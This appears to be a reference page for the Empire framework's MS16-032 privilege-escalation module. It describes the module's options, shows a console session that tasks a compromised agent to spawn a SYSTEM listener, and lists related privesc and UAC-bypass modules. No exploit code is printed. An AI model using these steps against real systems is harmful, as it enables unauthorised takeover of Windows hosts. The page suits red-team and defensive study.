Invoke-MS16032 - Empire Module
This page contains detailed information about how to use the powershell/privesc/ms16-032 Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-MS16032
Module: powershell/privesc/ms16-032
Source code [1]: empire/server/modules/powershell/privesc/ms16-032.yaml
Source code [2]: empire/server/modules/powershell/privesc/ms16-032.py
MITRE ATT&CK:
T1068
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: Yes
The ms16-032 module spawns a new Listener as SYSTEM by leveraging the MS16-032 local exploit. Note: ~1/6 times the exploit won't work, may need to retry.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the ms16-032 module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the ms16-032 module:
Agent
Agent to run module on.
Listener
Listener to use.
Additional Module Options
This is a list of additional options that are supported by the ms16-032 module:
Proxy
Proxy to use for request (default, none, or other).
Default value: default
.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default
.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default
.
Ms16-032 Example Usage
Here's an example of how to use the ms16-032 module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/privesc/ms16-032
Author @FuzzySec
@leoloobeek
Background True
Comments Credit to James Forshaw (@tiraniddo) for exploit discovery and
to Ruben Boonen (@FuzzySec) for PowerShell PoC
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-
thread-handle.html
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-
MS16-032.ps1
Description Spawns a new Listener as SYSTEM by leveraging the MS16-032 local
exploit. Note: ~1/6 times the exploit won't work, may need to retry.
Language powershell
Name powershell/privesc/ms16-032
NeedsAdmin False
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1068
,Record Options--------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------|---------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------|---------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|------------|---------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------|---------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------|---------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------'---------'----------'-------------------------------------'
(Empire: usemodule/powershell/privesc/ms16-032) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/privesc/ms16-032) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/privesc/ms16-032) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/ms16-032.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/privesc/ms16-032.py
- https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
- https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
- http://attack.mitre.org/techniques/T1068
See Also
Check also the following modules related to this module:
- powershell/privesc/bypassuac
- powershell/privesc/bypassuac_env
- powershell/privesc/bypassuac_tokenmanipulation
- powershell/privesc/winPEAS
- powershell/privesc/sweetpotato
- powershell/privesc/tater
- powershell/privesc/ms16-135
- powershell/privesc/ask
- powershell/privesc/bypassuac_wscript
- powershell/privesc/mcafee_sitelist
- powershell/privesc/privesccheck
- powershell/privesc/sherlock
- powershell/privesc/bypassuac_eventvwr
- powershell/privesc/zerologon
- powershell/privesc/printdemon
- powershell/privesc/getsystem
- powershell/privesc/gpp
- powershell/privesc/bypassuac_sdctlbypass
- powershell/privesc/watson
- powershell/privesc/bypassuac_fodhelper
- powershell/privesc/printnightmare
- powershell/privesc/powerup/service_exe_useradd
- powershell/privesc/powerup/write_dllhijacker
- powershell/privesc/powerup/service_stager
- powershell/privesc/powerup/service_exe_restore
- powershell/privesc/powerup/service_exe_stager
- powershell/privesc/powerup/find_dllhijack
- powershell/privesc/powerup/service_useradd
- powershell/privesc/powerup/allchecks
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.